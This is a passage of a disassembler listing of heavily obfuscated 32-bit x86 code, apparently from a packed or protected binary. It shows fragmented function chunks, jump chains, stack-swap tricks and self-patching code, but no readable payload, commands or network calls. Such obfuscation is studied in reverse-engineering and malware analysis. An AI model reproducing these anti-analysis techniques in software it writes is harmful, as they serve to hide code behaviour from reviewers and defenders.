		ror	ecx, 17h
		jmp	loc_45790F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E2D4

loc_4517DA:				; CODE XREF: sub_44E2D4:loc_444D52j
		sub	al, 99h
		push	2D289E94h
		pop	edx
		add	edx, 0D01C3309h
		jmp	loc_43B1F9
; END OF FUNCTION CHUNK	FOR sub_44E2D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F23F

loc_4517ED:				; CODE XREF: sub_44F23F:loc_458A21j
		xchg	esi, [esp+0]
		jmp	loc_4562F4
; END OF FUNCTION CHUNK	FOR sub_44F23F
; ---------------------------------------------------------------------------
		mov	ds:off_41D0D4, eax
		lea	eax, loc_4599E9
		mov	byte ptr [eax],	0C3h
		jmp	loc_458D0C
; ---------------------------------------------------------------------------
		call	nullsub_16
		jmp	ds:dword_41D0D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441A02

loc_451814:				; CODE XREF: sub_441A02+5j
		jmp	nullsub_512
; END OF FUNCTION CHUNK	FOR sub_441A02
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		sub	al, 24h
		mov	edx, ebp
		jmp	loc_448BC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A813

loc_451823:				; CODE XREF: sub_43A813:loc_43E167j
		xor	ecx, 10831035h
		add	ecx, 0E0C261EEh
		xchg	ecx, [esp+0]
		jmp	loc_45521D
; END OF FUNCTION CHUNK	FOR sub_43A813
; ---------------------------------------------------------------------------

loc_451837:				; CODE XREF: dviuq5id:loc_44E294j
		mov	eax, [esp]
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		push	edi
		jmp	loc_456BC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44508C

loc_451846:				; CODE XREF: sub_44508C+8F80j
		push	edx
		call	sub_43FEBB
		mov	eax, 19EDC823h
		call	sub_453642
		mov	ds:off_41D198, eax
		lea	eax, sub_44508C
		jmp	loc_44E996
; END OF FUNCTION CHUNK	FOR sub_44508C
; ---------------------------------------------------------------------------

loc_451867:				; CODE XREF: dviuq5id:00455E0Dj
		jz	loc_455FE0
		sub	ecx, eax
		cdq

loc_451870:				; CODE XREF: dviuq5id:loc_448461j
		mov	eax, [esp]
		push	offset sub_43A6DC
		jmp	locret_43E9A3
; ---------------------------------------------------------------------------

loc_45187D:				; CODE XREF: dviuq5id:loc_44DAA1j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_45187E:				; CODE XREF: sub_4492F0+ECDDj
		jge	loc_4476F9
		jle	loc_4468FB
		xchg	eax, [edx]
		jmp	loc_4476F9
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------

loc_451891:				; DATA XREF: sub_4535B0+22o
		mov	dword ptr [ebp-108h], 0Bh
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_45189B:				; CODE XREF: dviuq5id:0044DD5Ej
					; sub_4477D7+926Bj
		jb	loc_458BE2
		mov	eax, [ebp-104h]
		push	offset sub_4477D7
		jmp	nullsub_484
; END OF FUNCTION CHUNK	FOR sub_4477D7
; ---------------------------------------------------------------------------

loc_4518B1:				; CODE XREF: dviuq5id:loc_44E61Aj
		push	offset sub_457B02
		jmp	nullsub_309
; ---------------------------------------------------------------------------

loc_4518BB:				; CODE XREF: dviuq5id:0044B64Aj
		jl	loc_444F24
		xor	eax, 0ABC08F51h
		adc	eax, edi
		sub	esi, 0C29B74CEh
		mov	edi, 90E0FE89h
		jmp	loc_444F24
; ---------------------------------------------------------------------------

loc_4518D9:				; CODE XREF: dviuq5id:0044CC85j
		add	ebp, 207AE2BAh
; START	OF FUNCTION CHUNK FOR sub_43AE68

loc_4518DF:				; CODE XREF: sub_43AE68:loc_44CC79j
		xor	ecx, 859F3C45h
		and	ebx, ecx
		pop	ecx
		push	edi
		pushf
		jmp	loc_458E2B
; END OF FUNCTION CHUNK	FOR sub_43AE68
; ---------------------------------------------------------------------------
		not	edi
		jmp	sub_459630
; ---------------------------------------------------------------------------

loc_4518F6:				; DATA XREF: sub_448EFB-D806o
		mov	eax, [esp]
		call	sub_44E3BA
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A67C

loc_4518FF:				; CODE XREF: sub_45A67C+9j
		jmp	loc_44F5B8
; END OF FUNCTION CHUNK	FOR sub_45A67C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB53

loc_451904:				; CODE XREF: sub_44BB53+16j
		jmp	loc_4465DD
; END OF FUNCTION CHUNK	FOR sub_44BB53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455518

loc_451909:				; CODE XREF: sub_455518-1A236j
		jmp	sub_43B3A0
; END OF FUNCTION CHUNK	FOR sub_455518
; ---------------------------------------------------------------------------
		dw 230Eh
dword_451910	dd 26202D07h		; DATA XREF: dviuq5id:loc_4463E3r
; ---------------------------------------------------------------------------

loc_451914:				; CODE XREF: dviuq5id:loc_4421C3j
		jmp	locret_44A6B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_451919:				; CODE XREF: sub_454094+17j
		jnz	loc_44DB31
		jmp	loc_43DBE9
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------

loc_451924:				; CODE XREF: dviuq5id:004529A2j
		jge	loc_44F279
; START	OF FUNCTION CHUNK FOR sub_4597EF

loc_45192A:				; CODE XREF: sub_4597EF:loc_448412j
		jmp	loc_454B59
; END OF FUNCTION CHUNK	FOR sub_4597EF
; ---------------------------------------------------------------------------
		sbb	ebp, 9DF8CAEAh
		or	ebp, edx
		jmp	loc_44F26C
; ---------------------------------------------------------------------------

loc_45193C:				; CODE XREF: dviuq5id:0043AED9j
		jl	loc_43EDC3
		cmp	ebx, 2464DB9h
		jmp	loc_441E3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_45194D:				; CODE XREF: sub_454094:loc_455448j
		lea	eax, [ebp-64h]
		push	eax

loc_451951:				; CODE XREF: dviuq5id:0043FCBFj
		push	400000h
		push	0FDD931FCh
		pop	eax
		jmp	loc_4402DA
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
		lea	eax, [ebp-8]
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		push	offset sub_44CCEE
		jmp	locret_453490
; ---------------------------------------------------------------------------

loc_451974:				; DATA XREF: sub_458330:loc_45099Do
		mov	[ecx], eax
		pop	ecx
		mov	word ptr [ebp-6], 0FFFFh

loc_45197D:				; CODE XREF: dviuq5id:loc_444D16j
		jmp	loc_4489A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_451982:				; CODE XREF: sub_44CBA2+7D1Dj
		mov	eax, [ebp-24h]
		mov	al, [eax]
		mov	edx, [ebp-28h]
		jmp	loc_43ADE4
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_337. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_448C83
; ---------------------------------------------------------------------------

loc_451995:				; CODE XREF: dviuq5id:00439990j
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp]
		call	sub_44952D
		and	eax, edi
		jmp	loc_43F603
; ---------------------------------------------------------------------------

loc_4519A7:				; CODE XREF: dviuq5id:0043B292j
		push	offset loc_458C09
		jmp	locret_43E974
; ---------------------------------------------------------------------------

loc_4519B1:				; CODE XREF: dviuq5id:loc_459C39j
		push	38196DD4h
		pop	eax
		or	eax, 2DEE9D2Dh

loc_4519BD:				; CODE XREF: dviuq5id:loc_455A6Aj
		rol	eax, 15h

loc_4519C0:				; CODE XREF: dviuq5id:loc_456322j
		jb	loc_446641
		pushf
		push	2B6CBFD7h
		jmp	loc_44663E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BBA

loc_4519D2:				; CODE XREF: sub_442BBA+6E4Fj
		jmp	loc_43C2BD
; END OF FUNCTION CHUNK	FOR sub_442BBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_4519D7:				; CODE XREF: sub_4525D0-91B8j
		jmp	loc_43EA42
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44117F

loc_4519DC:				; CODE XREF: sub_44117F+7j
		jmp	loc_454C59
; END OF FUNCTION CHUNK	FOR sub_44117F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_378. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BA8C

loc_4519E2:				; CODE XREF: sub_44BA8C+4j
		jmp	loc_43FEC4
; END OF FUNCTION CHUNK	FOR sub_44BA8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_4519E7:				; CODE XREF: sub_439A5E+14j
					; sub_459804:loc_4587DDj
		jmp	loc_45022E
; END OF FUNCTION CHUNK	FOR sub_439A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_4519EC:				; CODE XREF: sub_4512BC-5F25j
		jz	loc_452ABB

loc_4519F2:				; CODE XREF: sub_4512BC:loc_4563DEj
		xor	eax, eax
		mov	[ebp-8], eax
; END OF FUNCTION CHUNK	FOR sub_4512BC
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_4519F7:				; CODE XREF: sub_43AF9D+Bj
					; sub_43D181:loc_43D18Cj
		jb	loc_459895
		mov	eax, [ebp-8]
		mov	dword ptr [ebp+eax*4-70h], 73257325h
		call	sub_43D181

loc_451A0D:				; CODE XREF: sub_440CB8+C471j
		jz	loc_43E1D3
		shl	ecx, 16h
		jmp	loc_43E1D2
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------
		mov	edx, 0EBB88AD7h
		jmp	loc_44CFB9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_285. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45345A

loc_451A26:				; CODE XREF: sub_45345A+Cj
		jmp	loc_44AFA4
; END OF FUNCTION CHUNK	FOR sub_45345A
; ---------------------------------------------------------------------------

loc_451A2B:				; CODE XREF: dviuq5id:0044FB4Cj
		jmp	loc_4478B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439AA6

loc_451A30:				; CODE XREF: sub_439AA6:loc_43A707j
					; dviuq5id:0043A727j
		add	eax, ds:4000FBh
		cmp	eax, 0BE6CE517h
		jmp	loc_43D0FB
; END OF FUNCTION CHUNK	FOR sub_439AA6
; ---------------------------------------------------------------------------

loc_451A41:				; CODE XREF: dviuq5id:loc_43A8ADj
		push	edx
		push	edi
		push	81EBAFA7h
; START	OF FUNCTION CHUNK FOR sub_458F2A

loc_451A48:				; CODE XREF: sub_458F2A:loc_43F05Aj
		pop	edi
		or	edi, 461AA55Fh
		add	edi, 384822F1h
		xchg	edi, [esp+0]
		jmp	loc_458F8D
; END OF FUNCTION CHUNK	FOR sub_458F2A
; ---------------------------------------------------------------------------

loc_451A5D:				; CODE XREF: dviuq5id:00452D8Aj
		adc	edx, ecx
		sub	eax, ebp
; START	OF FUNCTION CHUNK FOR sub_449222

loc_451A61:				; CODE XREF: sub_449222:loc_452D73j
		and	edi, 170E8DF9h
		or	edi, 0ED2D50C8h
		jnz	loc_43ABC8
		pop	ecx
		jmp	loc_43D50C
; END OF FUNCTION CHUNK	FOR sub_449222

; =============== S U B	R O U T	I N E =======================================



sub_451A79	proc near		; CODE XREF: dviuq5id:00453B3Cp
					; dviuq5id:00457861j

; FUNCTION CHUNK AT 0044362F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00444699 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044627D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00452797 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0045986B SIZE 0000001A BYTES

		xchg	esi, [esp+0]

loc_451A7C:				; CODE XREF: dviuq5id:loc_445298j
		pop	esi
		rol	eax, 10h
		jmp	loc_452797
sub_451A79	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_451A85:				; CODE XREF: sub_44A15Aj
		push	0A430EB23h
		xchg	edi, [esp+0]
		jmp	loc_459503
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E1A

loc_451A92:				; CODE XREF: sub_444E1A:loc_43E323j
		push	0D4CD658Dh
		jnp	loc_43AF52
		jmp	loc_4588E3
; END OF FUNCTION CHUNK	FOR sub_444E1A
; ---------------------------------------------------------------------------

loc_451AA2:				; DATA XREF: sub_4439EF-AE7o
		xor	edx, 361F08A2h
		add	edx, ebp
		push	offset sub_457A3C
		jmp	locret_4561CA
; ---------------------------------------------------------------------------

loc_451AB4:				; CODE XREF: dviuq5id:0043E751j
		sbb	eax, 0EF2018C1h
; START	OF FUNCTION CHUNK FOR sub_455400

loc_451ABA:				; CODE XREF: sub_455400:loc_43D09Ej
		and	esi, edx

loc_451ABC:				; CODE XREF: dviuq5id:loc_43C2B2j
		mov	eax, [esp+0]
		push	eax
		jmp	loc_43BF1D
; END OF FUNCTION CHUNK	FOR sub_455400
; ---------------------------------------------------------------------------

locret_451AC5:				; CODE XREF: dviuq5id:0044F8DBj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D393

loc_451AC6:				; CODE XREF: sub_43D393:loc_44E714j
		adc	edi, ebp
		and	ebx, 2138DBFDh
		or	edi, 26E089F5h
		jns	loc_43C198
		jmp	loc_43E641
; END OF FUNCTION CHUNK	FOR sub_43D393
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp]
		ror	eax, 18h
		push	offset sub_43D5BE
		jmp	loc_43DD18
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_521. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_451AF3:				; CODE XREF: sub_445A59-6359j
		jmp	loc_445340
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_451AF8:				; CODE XREF: sub_43A160:loc_44E87Fj
		jz	loc_457190
		jmp	loc_455DE6
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440D0D

loc_451B03:				; CODE XREF: sub_440D0D+12605j
		shl	ebp, 17h
		jmp	loc_44CDA4
; END OF FUNCTION CHUNK	FOR sub_440D0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44226E

loc_451B0B:				; CODE XREF: sub_44226E+2D37j
		mov	ecx, [ebp-4]
		push	offset sub_456A43
		jmp	nullsub_137
; END OF FUNCTION CHUNK	FOR sub_44226E

; =============== S U B	R O U T	I N E =======================================



sub_451B18	proc near		; CODE XREF: sub_454267:loc_450C27p
					; dviuq5id:0045875Fj

; FUNCTION CHUNK AT 00439254 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EF74 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004426DD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00442B72 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004482A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A4F8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044A77A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044A85D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B3E2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CF50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F033 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0045018E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00453AEF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0045572F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00455DD3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00457973 SIZE 00000018 BYTES

		xchg	edx, [esp+0]
		pop	edx
		jz	loc_45572F
		push	ebp
		mov	eax, [ebp-20h]
		jmp	loc_44A85D
sub_451B18	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_451B2B:				; CODE XREF: sub_43F4F8:loc_4466E4j
		jge	loc_4446CE
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_451B31:				; CODE XREF: sub_44C2F6+BF93j
		jmp	nullsub_316
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB39

loc_451B36:				; CODE XREF: sub_44CB39-6E97j
		jmp	loc_453955
; END OF FUNCTION CHUNK	FOR sub_44CB39
; ---------------------------------------------------------------------------
		add	eax, edx
		jmp	loc_4446C8
; ---------------------------------------------------------------------------

loc_451B42:				; CODE XREF: dviuq5id:loc_44C907j
		call	sub_453642
		mov	ds:off_41D140, eax
		lea	eax, sub_43AB42
		mov	byte ptr [eax],	0C3h
		jmp	loc_445073
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB42

loc_451B5B:				; CODE XREF: sub_43AB42j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	esi
		mov	esi, edx
		jmp	loc_445FBC
; END OF FUNCTION CHUNK	FOR sub_43AB42

; =============== S U B	R O U T	I N E =======================================



sub_451B67	proc near		; CODE XREF: sub_445707+3742p
					; dviuq5id:0044FA8Dj

; FUNCTION CHUNK AT 00450DE7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0045A59E SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	6FF7A72Ah
		pop	edx
		jmp	loc_45A59E
sub_451B67	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 2D912001h
		call	sub_453642
		push	offset loc_44CB25

loc_451B85:				; CODE XREF: dviuq5id:loc_45073Fj
		jmp	loc_43B1F4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454873

loc_451B8B:				; CODE XREF: sub_454873+11j
		jmp	loc_44A7EF
; END OF FUNCTION CHUNK	FOR sub_454873
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_451B90:				; CODE XREF: sub_443AC1+E956j
		jmp	loc_44F24A
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_451B95:				; CODE XREF: sub_44460F+6j
		jmp	loc_43E467
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455400

loc_451B9A:				; CODE XREF: sub_455400-194D6j
		jmp	loc_44033C
; END OF FUNCTION CHUNK	FOR sub_455400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_451B9F:				; CODE XREF: sub_43EB11+16FF4j
		jo	loc_44F8BF
; END OF FUNCTION CHUNK	FOR sub_43EB11
; START	OF FUNCTION CHUNK FOR sub_43E095

loc_451BA5:				; CODE XREF: sub_43E095+6j
					; sub_44AAE9-C549j ...
		jmp	loc_4515B5
; END OF FUNCTION CHUNK	FOR sub_43E095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AAE9

loc_451BAA:				; CODE XREF: sub_44AAE9+3j
					; sub_43EB11:loc_4531E4j
		pop	ecx
		xchg	ecx, [esp-4+arg_0]
		mov	ebp, ecx
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_44AAE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B07

loc_451BB2:				; CODE XREF: sub_449B07+5j
		jmp	nullsub_139
; END OF FUNCTION CHUNK	FOR sub_449B07

; =============== S U B	R O U T	I N E =======================================



sub_451BB7	proc near		; CODE XREF: sub_443A0A+4p
					; sub_443F7F+E1Fp ...

; FUNCTION CHUNK AT 00441114 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BD1B SIZE 0000000C BYTES

		push	ecx
		jmp	loc_44BD1B
sub_451BB7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C03F

loc_451BBD:				; CODE XREF: sub_43C03F+15564j
		xor	esi, 7B9DB627h
		or	edx, 1152BDB8h

loc_451BC9:				; CODE XREF: sub_43C03F:loc_43A666j
					; sub_441C99+9j ...
		jmp	loc_45270A
; END OF FUNCTION CHUNK	FOR sub_43C03F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C99

loc_451BCE:				; CODE XREF: dviuq5id:00444AEDj
					; sub_441C99+17FCBj
		push	offset loc_43CDC5
		jmp	nullsub_396
; END OF FUNCTION CHUNK	FOR sub_441C99
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_284. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456EE5

loc_451BD9:				; CODE XREF: sub_456EE5+6j
		rol	eax, 15h
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_456EE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E389

loc_451BDE:				; CODE XREF: sub_44E389+19j
		jmp	loc_43B40B
; END OF FUNCTION CHUNK	FOR sub_44E389

; =============== S U B	R O U T	I N E =======================================



sub_451BE3	proc near		; CODE XREF: sub_43BD72-2A2Cj
					; dviuq5id:00443802p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004498A0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00452C77 SIZE 00000005 BYTES

		push	ecx
		mov	ecx, ebp
		jmp	loc_4498A0
sub_451BE3	endp

; ---------------------------------------------------------------------------
		mov	eax, 0E5254649h
		push	esi
		push	1742310h
		xchg	ebp, [esp]
		mov	esi, ebp
		pop	ebp
		and	esi, 0E4F33854h
		jmp	loc_457B89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_451C07:				; CODE XREF: sub_440898+8CDFj
		push	0FFCEE25Eh
		pop	eax
		sub	eax, ds:4000F3h
		and	eax, 0B3098D37h
		or	eax, 7B845F39h
		xor	eax, 2E37D119h
		add	eax, 30A39D30h
		jmp	loc_441449
; END OF FUNCTION CHUNK	FOR sub_440898

; =============== S U B	R O U T	I N E =======================================



sub_451C30	proc near		; CODE XREF: sub_44AB80:loc_4415E9p
					; dviuq5id:00441894j
		xchg	eax, [esp+0]
		pop	eax
		ror	eax, 0Bh
		mov	ds:dword_444298, eax
		retn
sub_451C30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F1D6

loc_451C3E:				; CODE XREF: sub_43F1D6+3A7Ej
		jmp	loc_43AA90
; END OF FUNCTION CHUNK	FOR sub_43F1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_451C43:				; CODE XREF: sub_454267:loc_444678j
		sbb	eax, ebx
		jg	loc_4454D4
		jmp	sub_455CD1
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_451C50:				; CODE XREF: sub_43938B+10271j
		jo	loc_4499F5

loc_451C56:				; CODE XREF: sub_43938B:loc_44DF52j
		mov	[ebp-18h], eax
		mov	dword ptr [ebp-0Ch], 1
; END OF FUNCTION CHUNK	FOR sub_43938B
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_451C60:				; CODE XREF: sub_44250B-4CADj
					; sub_44250B:loc_449539j
		lea	eax, [ebp-14h]
		push	eax
		push	offset sub_43C413
		jmp	loc_44CC10
; END OF FUNCTION CHUNK	FOR sub_44250B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D2E

loc_451C6E:				; CODE XREF: sub_449D2E:loc_43EE01j
		xor	eax, 0A7A8043Bh
		push	esi
		pushf
		push	8ADF3288h
		pop	esi
		jmp	loc_448A2F
; END OF FUNCTION CHUNK	FOR sub_449D2E
; ---------------------------------------------------------------------------

loc_451C81:				; CODE XREF: dviuq5id:00443C42j
		jnb	loc_44F642
		jns	loc_441A4A
		jmp	loc_450604
; ---------------------------------------------------------------------------
		or	ebp, 3666F579h
		jmp	sub_4580F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459983

loc_451C9D:				; CODE XREF: sub_459983:loc_43EF3Fj
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0
		jnz	loc_442E3C
		jmp	loc_455439
; END OF FUNCTION CHUNK	FOR sub_459983
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_451CAF:				; CODE XREF: sub_45753F-310Bj
		or	ecx, ebx
		shl	eax, 0Ch
		mov	ecx, 0C15D1E1Fh
		add	edx, 233B15DBh
		cmp	eax, edx

loc_451CC1:				; CODE XREF: sub_43CBD5:loc_4522ACj
		adc	ecx, edx
		pop	edx
		jmp	loc_445287
; END OF FUNCTION CHUNK	FOR sub_45753F
; ---------------------------------------------------------------------------

loc_451CC9:				; CODE XREF: dviuq5id:loc_443F22j
		push	offset loc_447C52
		jmp	loc_44BBA0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_275. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_451CD4:				; CODE XREF: sub_449485+7617j
		jmp	loc_43A5A5
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_451CD9:				; CODE XREF: sub_43FDFB+15j
		jmp	loc_44BFDA
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_451CDE:				; CODE XREF: sub_44646F-130j
		add	eax, 0D92E51D4h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44D7E1
		jmp	loc_4537F4
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_451CF4:				; CODE XREF: sub_43FA59:loc_448FE0j
		jz	loc_44041C
		jmp	loc_442983
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CDB6

loc_451CFF:				; CODE XREF: sub_44CDB6:loc_43B76Bj
		mov	esi, eax
		xchg	esi, [esp+4+var_4]
		mov	eax, ecx
		xchg	eax, [esp+4+var_4]
		jmp	loc_449CC0
; END OF FUNCTION CHUNK	FOR sub_44CDB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_366. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F285

loc_451D0F:				; CODE XREF: sub_43F285+714Cj
		jmp	loc_4579F2
; END OF FUNCTION CHUNK	FOR sub_43F285
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FD8E

loc_451D14:				; CODE XREF: sub_44FD8E-10E8Dj
		jmp	loc_448106
; END OF FUNCTION CHUNK	FOR sub_44FD8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_451D19:				; CODE XREF: sub_454094:loc_43E7B2j
		jmp	loc_4458F7
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------

loc_451D1E:				; DATA XREF: sub_442BBA-96AAo
		call	sub_451D24
		retn

; =============== S U B	R O U T	I N E =======================================



sub_451D24	proc near		; CODE XREF: dviuq5id:loc_451D1Ep

var_4		= dword	ptr -4

		push	edi
		mov	edi, edx
		xchg	edi, [esp+4+var_4]
		mov	edx, ebp
		call	sub_43F285
sub_451D24	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_451D31	proc near		; CODE XREF: dviuq5id:004401CCp
					; dviuq5id:0044830Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A5D6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CC1E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043FEAE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00447D2A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D2A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044EC02 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F45D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004501C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456FAB SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		test	eax, eax
		jz	loc_447D2A
		jmp	loc_44EC02
